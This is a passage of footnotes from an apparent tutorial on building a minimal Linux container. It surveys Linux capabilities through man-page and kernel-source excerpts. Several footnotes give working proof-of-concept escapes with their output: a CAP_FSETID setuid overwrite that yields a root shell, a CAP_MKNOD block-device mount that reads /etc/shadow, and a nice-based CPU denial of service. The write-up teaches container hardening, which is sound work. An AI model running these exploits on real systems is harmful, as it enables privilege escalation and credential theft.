	to  use the  libcap(3) API  to manipulate  its capabilities.
	(In  other words,  this  is  a traditional  set-user-ID-root
	program that has been switched to use file capabilities, but
	whose   code   has   not   been   modified   to   understand
	capabilities.)    For  such   applications,  the   effective
	capability  bit  is  set  on  the file,  so  that  the  file
	permitted  capabilities  are  automatically enabled  in  the
	process effective  set when executing the  file.  The kernel
	recognizes a file which has the effective capability bit set
	as capability-dumb  for the  purpose of the  check described
	here.

	When executing  a capability-dumb binary, the  kernel checks
	if the process obtained all permitted capabilities that were
	specified in  the file  permitted set, after  the capability
	transformations described  above have been  performed.  (The
	typical  reason  why  this  might  not  occur  is  that  the
	capability bounding set masked  out some of the capabilities
	in the file  permitted set.)  If the process  did not obtain
	the full set of  file permitted capabilities, then execve(2)
	fails with the error EPERM.  This prevents possible security
	risks that could arise when a capability-dumb application is
	executed with less  privilege that it needs.   Note that, by
	definition, the application could  not itself recognize this
	problem, since it does not employ the libcap(3) API.

12

switch (msg_type) {
case AUDIT_LIST:
case AUDIT_ADD:
case AUDIT_DEL:
	return -EOPNOTSUPP;
case AUDIT_GET:
case AUDIT_SET:
case AUDIT_GET_FEATURE:
case AUDIT_SET_FEATURE:
case AUDIT_LIST_RULES:
case AUDIT_ADD_RULE:
case AUDIT_DEL_RULE:
case AUDIT_SIGNAL_INFO:
case AUDIT_TTY_GET:
case AUDIT_TTY_SET:
case AUDIT_TRIM:
case AUDIT_MAKE_EQUIV:
	/* Only support auditd and auditctl in initial pid namespace
	 * for now. */
	if (task_active_pid_ns(current) != &init_pid_ns)
		return -EPERM;

	if (!netlink_capable(skb, CAP_AUDIT_CONTROL))
		err = -EPERM;
	break;
case AUDIT_USER:
case AUDIT_FIRST_USER_MSG ... AUDIT_LAST_USER_MSG:
case AUDIT_FIRST_USER_MSG2 ... AUDIT_LAST_USER_MSG2:
	if (!netlink_capable(skb, CAP_AUDIT_WRITE))
		err = -EPERM;
	break;
default:  /* bad msg */
	err = -EINVAL;
}

13

You can obtain an audit system file descriptor by calling

socket(AF_NETLINK, SOCK_DGRAM, NETLINK_AUDIT)

NETLINK(7) -- 2016-07-17 -- Linux -- Linux Programmer's Manual

NAME
	netlink  -  communication  between  kernel  and  user  space
	(AF_NETLINK)
SYNOPSIS
	[...]
	netlink_socket = socket(AF_NETLINK, socket_type, netlink_family);
	[...]
DESCRIPTION
	Netlink is  used to transfer information  between the kernel
	and  user-space  processes.   It   consists  of  a  standard
	sockets-based  interface for  user  space  processes and  an
	internal kernel API for kernel modules.
	[...]
	netlink_family selects the kernel module or netlink group to
	communicate with.   The currently assigned  netlink families
	are:
	[...]
	NETLINK_AUDIT (since Linux 2.6.6)
		Auditing.

14

	CAP_BLOCK_SUSPEND (since Linux 3.5)
		Employ features that can block system suspend (epoll(7)
		EPOLLWAKEUP, /proc/sys/wake_lock).

15

An email and description by Sebastian Krahmer

In 0.11 the problem is that the apps that run in the container have CAP_DAC_READ_SEARCH and CAP_DAC_OVERRIDE which allows the containered app to access files not just by pathname (which would be impossible due to the bind mount of the rootfs) but also by handles via open_by_handle_at(). Handles are mostly 64bit values and can be kind of pre-computed as they are inode-based and the inode of / is 2. So you can go ahead and walk / by passing a handle of 2 and search the FS until you find the inode# of the file you want to access. Even though you are containered somewhere in /var/lib.

which links to the code, shocker.c .

Note that, if usernamespaces are on, we're not vulnerable, since open_by_handle_at checks for CAP_DAC_READ_SEARCH in the root namespace:

[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capdacreadsearch -m . -u 0 -c ./shocker
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.GSmTxw...done.
=> trying a user namespace...writing /proc/1538/uid_map...writing /proc/1538/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[-] open_by_handle_at: Operation not permitted
=> cleaning cgroups...done.

static int handle_to_path(int mountdirfd, struct file_handle __user *ufh,
		   struct path *path)
{
	int retval = 0;
	struct file_handle f_handle;
	struct file_handle *handle = NULL;

	/*
	 * With handle we don't look at the execute bit on the
	 * the directory. Ideally we would like CAP_DAC_SEARCH.
	 * But we don't have that
	 */
	if (!capable(CAP_DAC_READ_SEARCH)) {
		retval = -EPERM;
		goto out_err;
	}
	/* ... */
}

16

The setuid executable we'll subvert:

/* -*- compile-command: "gcc -Wall -Werror harmless_setuid.c -o harmless_setuid" -*- */
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>

int main (int argc, char **argv)
{
	uid_t a, b, c = 0;
	getresuid(&a, &b, &c);
	printf("I'm #%d/%d/%d\n", a, b, c);
	return 0;
}

This program will write itself to the executable at argv[1] . If it's a setuid root executable, there's no user namespace, and CAP_FSETID isn't dropped, it'll retain setuid root.

/* -*- compile-command: "gcc -Wall -Werror -static cap_fsetid.c -o cap_fsetid" -*- */
#define _GNU_SOURCE
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>

int main (int argc, char **argv)
{
	if (argc == 2) {
		/* write our contents to the setuid file. */
		int setuid_file = 0;
		int own_file = 0;
		if ((setuid_file = open(argv[1], O_WRONLY | O_TRUNC)) == -1
		    || (own_file = open(argv[0], O_RDONLY)) == -1) {
			fprintf(stderr, "++ open failed: %m\n");
			return 1;
		}
		errno = 0;
		char here = 0;
		while (read(own_file, &here, 1) > 0
		       && write(setuid_file, &here, 1) > 0);;
		if (errno) {
			fprintf(stderr, "++ reading/writing: %m\n");
			close(setuid_file);
			close(own_file);
		}
		close(own_file);
		close(setuid_file);
	} else {
		if (setresuid(0, 0, 0)) {
			fprintf(stderr, "++ failed switching uids to root: %m\n");
			return 1;
		}
		execve("/bin/sh", (char *[]) { "sh", 0 }, NULL);
	}
	return 0;
}

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..17e7373 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -34,7 +34,6 @@ int capabilities()
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
 		CAP_DAC_READ_SEARCH,
-		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
[lizzie@empress l-c-i-500-l]$ make -B harmless_setuid
cc -Wall -Werror -static harmless_setuid.c -o harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chown root harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chmod 4755 harmless_setuid
[lizzie@empress l-c-i-500-l]$ ./harmless_setuid
I'm #1000/0/0
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c ./cap_fsetid harmless_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.qapCVs...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ ./harmless_setuid 
++ failed switching uids to root: Operation not permitted
[lizzie@empress l-c-i-500-l]$ make -B harmless_setuid
cc -Wall -Werror -static harmless_setuid.c -o harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chown root harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chmod 4755 harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capfsetid -m . -u 0 -c ./cap_fsetid harmless_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.4u1dNe...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ ls -lh ./harmless_setuid
-rwsr-xr-x 1 root lizzie 788K Oct 25 05:22 ./harmless_setuid
[lizzie@empress l-c-i-500-l]$ ./harmless_setuid
sh-4.3# whoami
root
sh-4.3# id
uid=0(root) gid=1000(lizzie) groups=1000(lizzie)
sh-4.3# exit
[lizzie@empress l-c-i-500-l]$ rm harmless_setuid

17

DESCRIPTION
	mlock(), mlock2(),  and mlockall() lock  part or all  of the
	calling process's virtual address space into RAM, preventing
	that memory from being paged to the swap area.

	munlock() and  munlockall() perform the  converse operation,
	unlocking  part  or all  of  the  calling process's  virtual
	address  space,  so  that  pages in  the  specified  virtual
	address range may once more to be swapped out if required by
	the kernel memory manager.

	Memory locking and unlocking are performed in units of whole
	pages.

ERRORS

	ENOMEM
		(Linux  2.6.9  and  later)  the caller  had  a  nonzero
		RLIMIT_MEMLOCK soft  resource limit, but tried  to lock
		more memory  than the  limit permitted.  This  limit is
		not   enforced    if   the   process    is   privileged
		(CAP_IPC_LOCK).

These functions are the only use of CAP_IPC_LOCK ; the only mention in the source is

bool can_do_mlock(void)
{
	if (rlimit(RLIMIT_MEMLOCK) != 0)
		return true;
	if (capable(CAP_IPC_LOCK))
		return true;
	return false;
}

18

/* -*- compile-command: "gcc -Wall -Werror -static cap_mknod.c -o cap_mknod" -*- */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#define DEV "/disk"
#define MNT "/mnt"

int main (int argc, char **argv)
{
	if (argc != 4) return 1;
	int return_code = 0;
	int etc_shadow = 0;
	
	dev_t dev = makedev(atoi(argv[1]), atoi(argv[2]));
	if (mknod(DEV, S_IFBLK | S_IRUSR, dev)) {
		fprintf(stderr, "++ mknod failed: %m\n");
		return 1;
	}
	if (mkdir(MNT, S_IRUSR)
	    && (errno != EEXIST)) {
		fprintf(stderr, "++ mkdir failed: %m\n");
		goto cleanup_error;
	}
	if (mount(DEV, MNT, argv[3], 0, NULL)) {
		fprintf(stderr, "++ mount failed: %m\n");
		goto cleanup_error;
	}
	if ((etc_shadow = open(MNT "/etc/shadow", O_RDONLY)) == -1) {
		fprintf(stderr, "++ opening /etc/shadow failed: %m\n");
		goto cleanup_error;
	}
	fprintf(stderr, "++ reading /etc/shadow:\n");
	char here = 0;
	errno = 0;
	while (read(etc_shadow, &here, 1) > 0)
		write(STDOUT_FILENO, &here, 1);
	if (errno) {
		fprintf(stderr, "read loop failed! %m\n");
		goto cleanup_error;
	}
	goto cleanup;
cleanup_error:
	return_code = 1;
cleanup:
	if (etc_shadow) close(etc_shadow);
	umount(MNT);
	unlink(DEV);
	rmdir(MNT);
	return return_code;
}

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..985930e 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -38,10 +38,8 @@ int capabilities()
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
-		CAP_MKNOD,
 		CAP_SETFCAP,
 		CAP_SYSLOG,
-		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
 		CAP_SYS_MODULE,
 		CAP_SYS_NICE,

Note that CAP_SYS_ADMIN doesn't need to be allowed for this to work, it's just that mount is more convenient than reading the block device in userspace.

[lizzie@empress l-c-i-500-l]$  sudo  ./contained -m . -u 0 -c cap_mknod 8 1 vfat
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.VTnW1G...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ mknod failed: Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ make contained.allow_capmknod
patch contained.c -i allow_capmknod.diff -o contained.allow_capmknod.c
patching file contained.allow_capmknod.c (read from contained.c)
Hunk #1 succeeded at 46 (offset 8 lines).
cc -Wall -Werror -lseccomp -lcap contained.allow_capmknod.c -o contained.allow_capmknod
rm contained.allow_capmknod.c
[lizzie@empress l-c-i-500-l]$  sudo  ./contained.allow_capmknod -m . -u 0 -c cap_mknod 8 1 vfat
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.fdbi8q...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ reading /etc/shadow:
[redacted]
=> cleaning cgroups...done.

19

/* -*- compile-command: "gcc -Wall -Werror setfcap_and_exec.c -o setfcap_and_exec  -static -lcap" -*- */
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <linux/capability.h>
#include <sys/capability.h>
#include <sys/prctl.h>
#include <sys/types.h>

int main (int argc, char  **argv)
{
	if (argc == 2 && !strcmp(argv[1], "inner")) {
		cap_t self_caps = {0};
		if (!(self_caps = cap_get_proc())) {
			fprintf(stderr, "++ cap_get_proc failed: %m\n");
			return 1;
		}

		cap_flag_value_t cap_mknod_status = CAP_CLEAR;
		if (cap_get_flag(self_caps, CAP_MKNOD, CAP_PERMITTED, &cap_mknod_status)) {
			fprintf(stderr, "++ cap_get_flag failed: %m\n");
			cap_free(self_caps);
			return 1;
		}
		if (cap_mknod_status == CAP_CLEAR)
			fprintf(stderr, "!! don't have cap_mknod+p?\n");

		if (cap_set_flag(self_caps, CAP_EFFECTIVE, 1,
				 & (cap_value_t) { CAP_MKNOD }, CAP_SET)) {
			fprintf(stderr, "++ can't cap_set_flag: %m\n");
			cap_free(self_caps);
			return 1;
		}
		if (cap_set_proc(self_caps)) {
			fprintf(stderr, "++ can't cap_set_proc: %m\n");
			cap_free(self_caps);
			return 1;
		}
		cap_free(self_caps);
		fprintf(stderr, "++ have CAP_MKNOD!\n");
	} else {
		cap_t file_caps = {0};
		if (!(file_caps = cap_from_text("cap_mknod+p"))) {
			fprintf(stderr, "++ cap_from_text failed: %m\n");
			return 1;
		}
		if (cap_set_file(argv[0], file_caps)) {
			fprintf(stderr, "++ cap_set_file failed: %m\n");
			cap_free(file_caps);
			return 1;
		}
		cap_free(file_caps);

		if (execve(argv[0], (char  *[]){ argv[0], "inner", 0 }, NULL)) {
			fprintf(stderr, "++ execve failed: %m\n");
			return 1;
		}
	}
	return 0;
}

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..0f3a4e2 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -39,7 +39,6 @@ int capabilities()
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
 		CAP_MKNOD,
-		CAP_SETFCAP,
 		CAP_SYSLOG,
 		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capsetfcap -m . -u 0 -c setfcap_and_exec
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.GCu2Ry...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
!! don't have cap_mknod+p?
++ can't cap_set_proc: Operation not permitted
=> cleaning cgroups...done.

it does work if we don't restrict CAP_MKNOD , so it does seem like processes aren't allowed to set capabilities on files that they don't have:

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..b458201 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -38,8 +38,6 @@ int capabilities()
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
-		CAP_MKNOD,
-		CAP_SETFCAP,
 		CAP_SYSLOG,
 		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capmknod_capsetfcap -m . -u 0 -c setfcap_and_exec
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.IZ1gDw...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ have CAP_MKNOD!
=> cleaning cgroups...done.

This disagrees with Brad Spengler's note in False Boundaries and Arbitrary Code Execution

CAP_SETFCAP: generic: can set full capabilities on a file, granting full capabilities upon exec

but that's 5 years old, so it may have changed.

20

	CAP_SYSLOG (since Linux 2.6.37)
		*  Perform   privileged   syslog(2)  operations.    See
		   syslog(2)  for   information  on   which  operations
		   require privilege.
		*  View kernel  addresses exposed  via /proc  and other
		   interfaces  when /proc/sys/kernel/kptr_restrict  has
		   the   value  1.    (See   the   discussion  of   the
		   kptr_restrict in proc(5).)

	SYSLOG_ACTION_READ (2)
		[...] Bytes read from the log disappear from the log
		buffer [...]

	SYSLOG_ACTION_READ_ALL (3)
		[...] The call reads the   last    len   bytes    from
		the    log   buffer (nondestructively) [...]

	SYSLOG_ACTION_READ_CLEAR (4) [...]

	SYSLOG_ACTION_CLEAR (5) [...]

	SYSLOG_ACTION_CONSOLE_OFF (6) [...]

	SYSLOG_ACTION_CONSOLE_ON (7) [...]

	SYSLOG_ACTION_CONSOLE_LEVEL (8) [...]

	SYSLOG_ACTION_SIZE_UNREAD (9) [...]

	SYSLOG_ACTION_SIZE_BUFFER (10) [...]

	All commands  except 3 and  10 require privilege.

21

All of the uses of CAP_SYS_BOOT :

SYSCALL_DEFINE4(reboot, int, magic1, int, magic2, unsigned int, cmd,
		void __user *, arg)
{
	struct pid_namespace *pid_ns = task_active_pid_ns(current);
	char buffer[256];
	int ret = 0;

	/* We only trust the superuser with rebooting the system. */
	if (!ns_capable(pid_ns->user_ns, CAP_SYS_BOOT))
		return -EPERM;

	[...]
}

SYSCALL_DEFINE4(kexec_load, unsigned long, entry, unsigned long, nr_segments,
		struct kexec_segment __user *, segments, unsigned long, flags)
{
	int result;

	/* We only trust the superuser with rebooting the system. */
	if (!capable(CAP_SYS_BOOT) || kexec_load_disabled)
		return -EPERM;

	[...]
}

SYSCALL_DEFINE5(kexec_file_load, int, kernel_fd, int, initrd_fd,
		unsigned long, cmdline_len, const char __user *, cmdline_ptr,
		unsigned long, flags)
{
	int ret = 0, i;
	struct kimage **dest_image, *image;

	/* We only trust the superuser with rebooting the system. */
	if (!capable(CAP_SYS_BOOT) || kexec_load_disabled)
		return -EPERM;
	[...]
}

22

SYSCALL_DEFINE2(delete_module, const char __user *, name_user,
		unsigned int, flags)
{
	struct module *mod;
	char name[MODULE_NAME_LEN];
	int ret, forced = 0;

	if (!capable(CAP_SYS_MODULE) || modules_disabled)
		return -EPERM;
	[...]
}

static int may_init_module(void)
{
	if (!capable(CAP_SYS_MODULE) || modules_disabled)
		return -EPERM;

	return 0;
}

which is called by init_module and finit_module :

SYSCALL_DEFINE3(init_module, void __user *, umod,
		unsigned long, len, const char __user *, uargs)
{
	int err;
	struct load_info info = { };

	err = may_init_module();
	if (err)
		return err;

	pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
	       umod, len, uargs);

	err = copy_module_from_user(umod, len, &info);
	if (err)
		return err;

	return load_module(&info, uargs, 0);
}

SYSCALL_DEFINE3(finit_module, int, fd, const char __user *, uargs, int, flags)
{
	struct load_info info = { };
	loff_t size;
	void *hdr;
	int err;

	err = may_init_module();
	if (err)
		return err;

	pr_debug("finit_module: fd=%d, uargs=%p, flags=%i\n", fd, uargs, flags);

	if (flags & ~(MODULE_INIT_IGNORE_MODVERSIONS
		      |MODULE_INIT_IGNORE_VERMAGIC))
		return -EINVAL;

	err = kernel_read_file_from_fd(fd, &hdr, &size, INT_MAX,
				       READING_MODULE);
	if (err)
		return err;
	info.hdr = hdr;
	info.len = size;

	return load_module(&info, uargs, flags);
}

23

static int proc_cap_handler(struct ctl_table *table, int write,
			 void __user *buffer, size_t *lenp, loff_t *ppos)
{
	struct ctl_table t;
	unsigned long cap_array[_KERNEL_CAPABILITY_U32S];
	kernel_cap_t new_cap;
	int err, i;

	if (write && (!capable(CAP_SETPCAP) ||
		      !capable(CAP_SYS_MODULE)))
		return -EPERM;

	[...]
}

which is used to authorize requests to load modules.

24

/**
 *	dev_load	- load a network module
 *	@net: the applicable net namespace
 *	@name: name of interface
 *
 *	If a network interface is not present and the process has suitable
 *	privileges this function loads the module. If module loading is not
 *	available in this kernel then it becomes a nop.
 */

void dev_load(struct net *net, const char *name)
{
	struct net_device *dev;
	int no_module;

	rcu_read_lock();
	dev = dev_get_by_name_rcu(net, name);
	rcu_read_unlock();

	no_module = !dev;
	if (no_module && capable(CAP_NET_ADMIN))
		no_module = request_module("netdev-%s", name);
	if (no_module && capable(CAP_SYS_MODULE))
		request_module("%s", name);
}

This also allows processes with only CAP_NET_ADMIN to load netdev-* modules, and is run on almost every ioctl on a network device:

/**
 *	dev_ioctl	-	network device ioctl
 *	@net: the applicable net namespace
 *	@cmd: command to issue
 *	@arg: pointer to a struct ifreq in user space
 *
 *	Issue ioctl functions to devices. This is normally called by the
 *	user space syscall interfaces but can sometimes be useful for
 *	other purposes. The return value is the return from the syscall if
 *	positive or a negative errno code on error.
 */

int dev_ioctl(struct net *net, unsigned int cmd, void __user *arg)
{
	[...]
	/*
	 *	See which interface the caller is talking about.
	 */

	switch (cmd) {
	/*
	 *	These ioctl calls:
	 *	- can be done by all.
	 *	- atomic and do not require locking.
	 *	- return a value
	 */
	case SIOCGIFFLAGS:
	case SIOCGIFMETRIC:
	case SIOCGIFMTU:
	case SIOCGIFHWADDR:
	case SIOCGIFSLAVE:
	case SIOCGIFMAP:
	case SIOCGIFINDEX:
	case SIOCGIFTXQLEN:
		dev_load(net, ifr.ifr_name);
		[...]
}

This was pretty surprising to me! I should look into this further.

25

DESCRIPTION
	nice() adds inc  to the nice value for  the calling process.
	(A  higher  nice value  means  a  low priority.)   Only  the
	superuser  may specify  a  negative  increment, or  priority
	increase.
	[...]

ERRORS

	EPERM
		The calling process attempted  to increase its priority
		by  supplying  a  negative  inc  but  has  insufficient
		privileges.  Under  Linux, the  CAP_SYS_NICE capability
		is   required.   (But   see  the   discussion  of   the
		RLIMIT_NICE resource limit in setrlimit(2).)

26

We'll see how many CPU cycles this gets in a single-core virtual machine, in the host and in a container that can set low nice values:

/* -*- compile-command: "gcc -Wall -Werror -static busy_loop.c -o busy_loop" -*- */
#include <time.h>
#include <sys/times.h>
#include <stdio.h>

int main (int argc, char  **argv)
{
	struct timespec now = {0};
	struct timespec then = {0};
	clock_gettime(CLOCK_MONOTONIC, &then);
	do {
		clock_gettime(CLOCK_MONOTONIC, &now);
	} while ((now.tv_sec - then.tv_sec) * 5e9
		 + now.tv_nsec - then.tv_nsec < 20e9);
	/* how much cpu time did we get? */
	struct tms tms = {0};
	if (times(&tms) == -1) {
		fprintf(stderr, "++ times failed: %m\n");
		return 1;
	}
	/*  "The tms_utime field contains the CPU time spent executing
	    instructions of the calling process.  The tms_stime field contains the
	    CPU time spent in the system while executing tasks on behalf of the
	    calling process." */
	printf("ticks: %lu\n", tms.tms_utime + tms.tms_stime);
	return 0;
}

/* -*- compile-command: "gcc -Wall -Werror -static nice_dos.c -o nice_dos" -*- */
#include <unistd.h>
#include <stdio.h>

int main (int argc, char **argv)
{
	if (nice(-10) == -1) {
		fprintf(stderr, "++ nice failed: %m\n");
		return 1;
	}
	if (execve("./busy_loop", (char *[]) { "./busy_loop", 0 }, NULL)) {
		fprintf(stderr, "++ execve failed: %m\n");
		return 1;
	}
}

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..4895071 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -44,7 +44,6 @@ int capabilities()
 		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
 		CAP_SYS_MODULE,
-		CAP_SYS_NICE,
 		CAP_SYS_RAWIO,
 		CAP_SYS_RESOURCE,
 		CAP_SYS_TIME,
alpine-kernel-dev:~# (./busy_loop && echo '^ uncontained one' &) && (sudo ./contained.allow_capsysnice -m . -u 0 -c ./nice_dos &)
=> validating Linux version...4.7.6.
=> setting cgroups...memory...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.elKMci...done.
=> trying a user namespace...unsupported? continuing.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
ticks: 52
^ uncontained one
ticks: 341
=> cleaning cgroups...done.
alpine-kernel-dev:~#

27

	CAP_SYS_RAWIO
		* Perform I/O port operations (iopl(2) and ioperm(2));
		* access /proc/kcore;
		* employ the FIBMAP ioctl(2) operation;
		* open   devices  for   accessing  x86   model-specific
		  registers (MSRs, see msr(4))
		* update /proc/sys/vm/mmap_min_addr;
		* create memory  mappings at addresses below  the value
		  specified by /proc/sys/vm/mmap_min_addr;
		* map files in /proc/bus/pci;
		* open /dev/mem and /dev/kmem;
		* perform various SCSI device commands;
		* perform  certain operations  on hpsa(4)  and cciss(4)
		  devices;
		* perform  a  range  of device-specific  operations  on
		  other devices.

28

	/dev/mem is a character device file  that is an image of the
	main memory of  the computer.  It may be  used, for example,
	to examine (and even patch) the system.

	[...]

	It is typically created by:

		mknod -m 660 /dev/mem c 1 1
		chown root:kmem /dev/mem

	The file /dev/kmem is the  same as /dev/mem, except that the
	kernel  virtual  memory  rather   than  physical  memory  is
	accessed.  Since  Linux 2.6.26, this file  is available only
	if  the   CONFIG_DEVKMEM  kernel  configuration   option  is
	enabled.

	It is typically created by:

		mknod -m 640 /dev/kmem c 1 2
		chown root:kmem /dev/kmem

	/dev/port  is similar  to /dev/mem,  but the  I/O ports  are
	accessed.

	It is typically created by:

		mknod -m 660 /dev/port c 1 4
		chown root:kmem /dev/port

29

	ioperm()  sets  the  port  access permission  bits  for  the
	calling thread for num bits starting from port address from.
	If  turn_on is  nonzero, then  permission for  the specified
	bits is  enabled; otherwise it  is disabled.  If  turn_on is
	nonzero,   the    calling   thread   must    be   privileged
	(CAP_SYS_RAWIO).

	iopl()  changes  the  I/O  privilege level  of  the  calling
	process, as specified  by the two least  significant bits in
	level.

	This call is necessary to allow 8514-compatible X servers to
	run under  Linux.  Since these  X servers require  access to
	all 65536 I/O ports, the ioperm(2) call is not sufficient.

	In  addition  to  granting  unrestricted  I/O  port  access,
	running  at a  higher I/O  privilege level  also allows  the
	process to disable interrupts.  This will probably crash the
	system, and is not recommended.

30

	CAP_SYS_RESOURCE
		* Use reserved space on ext2 filesystems;
		* make ioctl(2) calls controlling ext3 journaling;
		* override disk quota limits;
		* increase resource limits (see setrlimit(2));
		* override RLIMIT_NPROC resource limit;
		* override  maximum  number   of  consoles  on  console
		  allocation;
		* override maximum number of keymaps;
		* allow more  than 64hz  interrupts from  the real-time
		  clock;
		* raise msg_qbytes  limit for a System  V message queue
		  above  the  limit   in  /proc/sys/kernel/msgmnb  (see
		  msgop(2) and msgctl(2));
		* override  the  /proc/sys/fs/pipe-size-max limit  when
		  setting the capacity of a pipe using the F_SETPIPE_SZ
		  fcntl(2) command.
		* use F_SETPIPE_SZ  to increase the capacity  of a pipe
		  above       the        limit       specified       by
		  /proc/sys/fs/pipe-max-size;
		* override  /proc/sys/fs/mqueue/queues_max  limit  when
		  creating POSIX message queues (see mq_overview(7));
		* employ prctl(2) PR_SET_MM operation;
		* set /proc/PID/oom_score_adj to a value lower than the
		  value last set by a process with CAP_SYS_RESOURCE.

32

It turns out that you can break important things by altering the time. "Authenticated Network Time Synchronization" describes some of these:

The importance of accurate time for security. There are many examples of security mechanisms which (often implicitly) rely on having an accurate clock:

  • Certificate validation in TLS and other protocols. Validating a public key certificate requires confirming that the current time is within the certificate’s validity period. Performing validation with a slow or inaccurate clock may cause expired certificates to be accepted as valid. A revoked certificate may also validate if the clock is slow, since the relying party will not check for updated revocation information.
  • Ticket verification in Kerberos. In Kerberos, authentication tickets have a validity period, and proper verification requires an accurate clock to prevent authentication with an expired ticket.
